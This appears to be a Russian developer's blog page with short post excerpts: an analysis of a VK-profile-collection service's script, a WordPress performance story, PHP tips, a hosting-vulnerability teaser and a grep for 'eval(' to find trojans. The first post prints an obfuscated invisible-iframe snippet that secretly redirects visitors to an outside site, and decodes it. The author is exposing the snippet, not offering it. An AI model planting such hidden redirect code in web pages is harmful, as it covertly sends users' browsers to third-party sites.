Рыболовы и реклама
Доброго времени суток.
Недавно исследовал интересный сервис по сбору VK профилей:
Вход в сервис стоит 5000 рублей единоразово и 5 рублей за каждый собранный профиль человека.
Цель была узнать как и что работает при определении профиля человека, но речь пойдет не об этом. При тщательном ковырянии в работе скриптов нашел интересный кусок, который к определению имеет отношение примерно никакое 🙂
А нашелся собственно вот такой вот код
1 |
document.write('<iframe sandbox=\'allow-same-origin allow-scripts\' seamless id=\'sfrload\' src=\'data:text/html;charset=utf-8;base64,PCEtLSAtLT48c2NyaXB0IGFzeW5jPiB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICJodHRwczovL3lvdTQzLnJ1L3lhbmRpbnRzaXRlLz91PWZiYjg5ZTM2YzM1OTJmMjIyMTZjZTMzM2Q4ZDFhMjUwIjsgPC9zY3JpcHQ+PCEtLSAtLT4=\' style=\'width:1px;height:1px;opacity:0;\'><\/iframe>'); |
Для тех кто не шарит: код вставляет на страницу 1 пиксельный прозрачный фрейм с таким содержанием(зашифрованным в base64)
1 |
<!-- --><script async> window.location.href = "https://you43.ru/yandintsite/?u=fbb89e36c3592f22216ce333d8d1a250"; </script><!-- --> |
Т.е. идет переадресация фрейма на адрес https://you43.ru/yandintsite/?u=fbb89e36c3592f22216ce333d8d1a250
И самое интересное находится по этому адресу
История про регулярное выражение
Жил был один новостной сайт на вордпрессе.
Стал плохо жить и переехал
Но вот незадача он кушал ресурсы сервера так как-будто это был дешевый шаред хостинг, и сервер не выдерживал нагрузки в пиковые моменты.
А на сайт тот заходили по 10-20 тысяч человек в день и это было очень печально, ведь там стояли еще несколько почти таких же сайтов. Стали мы искать кто же так кушает наш сервер и почему все так плохо.
И нашли мы волшебную строчку в functions.php темы.
Какой-то добрый программист оставил там всего лишь одну строчку которая перед каждой новостью с помощью preg_replace добавляла блок адсенса в нужное место.
Всего лишь один preg_replace для всего контента перед выводом ставил дедик на колени и заставлял его молиться чтобы пронать gateway.
Надеюсь эта маленькая история научит вас любить и уважать функции и не использовать регулярки везде где только можно.
Конец.
Проверка наличия стоп слов в тексте
Делать было нечего, дело было почти утром.
После
По быстрому на коленке получилось как-то так:
Получение timestamp из timestamp O_O
При использовании
Если поле в базе имеет тип время/дата, в моем случае timestamp, то php-ar отдает отформатированную по дефолту строку, вместо собственно самого timestampа.
При курении доков выяснилось что используется там обычный DateTime из php
В общем чтобы получить unix время из поля приходится делать как-то так
1 2 |
$cpayment = Cpayment::find('first'); echo $cpayment->time->getTimestamp(); |
Памятка для себя, потому что второй раз затупил c этим косяком 🙂
Издеваемся над poiuty или ищем свободный сервер при заказе хостинга
Сказ о том как я провел свой хакатон [1/2]
Сказ о том как я провел свой хакатон или два «сломанных» хостинга за одну ночь: часть первая Locum.
Прошло уже более полугода, а я только сейчас решил об этом написать.
Дело было вечером, делать было нечего. Так наверно можно начать большинство рассказов про исследование уязвимостей различных сервисов и софта.
WOT парсер «трастовых» доменов
Зачем нужен можно глянуть здесь:
Забрать можно здесь:
Собственно запускать через консоль: php index.php
В domains.txt будут записаны домены с рейтингом 1 и 2(зеленые кружки и чуть менее зеленые кружки)
Остается дело за малым, проверить наличие обратных ссылок с этих сайтов. Я не придумал простого автоматического способа без обхода капч поисковиков, так что думайте сами.
Прикладываю результат для 200-999 страниц 14к «трастовых» доменов:
Поиск текста в файлах [Ищем трояны]
1 |
find . -type f -exec grep -l "eval(" {} \; |